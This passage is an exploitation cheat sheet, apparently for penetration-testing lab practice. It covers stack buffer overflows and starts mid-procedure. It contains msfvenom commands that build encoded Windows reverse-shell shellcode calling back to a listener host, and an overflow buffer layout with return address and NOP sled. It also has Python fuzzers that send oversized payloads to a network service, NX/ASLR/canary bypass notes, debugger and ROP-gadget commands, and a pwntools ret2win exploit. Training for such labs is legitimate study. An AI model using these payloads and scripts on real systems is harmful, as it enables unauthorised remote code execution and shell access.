msfvenom -p windows/shell_reverse_tcp LHOST=10.11.1.111 LPORT=4433 -f python –e x86/shikata_ga_nai -b "\x00"
msfvenom -p windows/shell_reverse_tcp lhost=10.11.1.111 lport=443 EXITFUNC=thread -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai -f python -v shellcode
8. Final buffer like:
buffer="A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode
############## sample 1 ################################################
#!/usr/bin/python
import socket,sys
if len(sys.argv) != 3:
print("usage: python fuzzer.py 10.11.1.111 PORT")
exit(1)
payload = "A" * 1000
ipAddress = sys.argv[1]
port = int(sys.argv[2])
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ipAddress, port))
s.recv(1024)
print "Sending payload"
s.send(payload)
print "Done"
s.close()
except:
print "Error"
sys.exit(0)
############## sample 2 ################################################
#!/usr/bin/python
import time, struct, sys
import socket as so
try:
server = sys.argv[1]
port = 5555
except IndexError:
print "[+] Usage %s host" % sys.argv[0]
sys.exit()
req1 = "AUTH " + "\x41"*1072
s = so.socket(so.AF_INET, so.SOCK_STREAM)
try:
s.connect((server, port))
print repr(s.recv(1024))
s.send(req1)
print repr(s.recv(1024))
except:
print "[!] connection refused, check debugger"
s.close()
Protections bypasses
# NX - Execution protection
- Ret2libc
https://sploitfun.wordpress.com/2015/05/08/bypassing-nx-bit-using-return-to-libc/
https://0x00sec.org/t/exploiting-techniques-000-ret2libc/1833
-ROP
# ASLR - Random library positions
- Memory leak to Ret2libc
- ROP
# Canary - Hex end buffer
https://0x00sec.org/t/exploit-mitigation-techniques-stack-canaries/5085
- Value leak
- Brute force
- Format Strings: https://owasp.org/www-community/attacks/Format_string_attack
ROP
checksec
# Listing functions imported from shared libraries is simple:
rabin2 -i
# Strings
rabin2 -z
# Relocations
rabin2 -R
# Listing just those functions written by the programmer is harder, a rough approximation could be:
rabin2 -qs | grep -ve imp -e ' 0 '
RADARE2
------------------------------------------
r2 -AAA binary # Analyze with radare2
afl # list functions
pdf @ funcion # dissassemble function to check what instruction pointer want to reach
iz # Strings
is # Symbols
px 48 @ 0x00601060 # Hex dump address
dcu 0x00400809 # Breakpoint
“press s” # Continue over breakpoint
/R pop rdi # Search instruction
/a pop rdi,ret # Search
GDB
------------------------------------------
gdb-gef binary
pattern create 200
pattern search “lalal”
r # run
c # continue
s # step
si # step into
b *0x0000000000401850 # Add breakpoint
ib # Show breakpoints
d1 # Remove breakpoint 1
d # Remove breakpoint
info functions # Check functions
x/s 0x400c2f # Examine address x/<(Mode)Format> Format:s(tring)/x(hex)/i(nstruction) Mode:l/w
ROPGadget
------------------------------------------
https://github.com/JonathanSalwan/ROPgadget
ROPgadget --binary callme32 --only "mov|pop|ret"
Ropper
------------------------------------------
ropper --file callme32 --search "pop"
readelf -S binary # Check writable locations
x32
| syscall | arg0 | arg1 | arg2 | arg3 | arg4 | arg5 |
+---------+------+------+------+------+------+------+
| %eax | %ebx | %ecx | %edx | %esi | %edi | %ebp |
x64
| syscall | arg0 | arg1 | arg2 | arg3 | arg4 | arg5 |
+---------+------+------+------+------+------+------+
| %rax | %rdi | %rsi | %rdx | %r10 | %r8 | %r9 |
EXAMPLE
------------------------------------------
from pwn import *
# Set up pwntools to work with this binary
elf = context.binary = ELF('ret2win')
io = process(elf.path)
gdb.attach(io)
info("%#x target", elf.symbols.ret2win)
ret2win = p64(elf.symbols["ret2win"])
payload = "A"*40 + ret2win
io.sendline(payload)
io.recvuntil("Here's your flag:")
# Get our flag!
flag = io.recvall()
success(flag)
tools everywhere
https://inventory.raw.pm/tools.html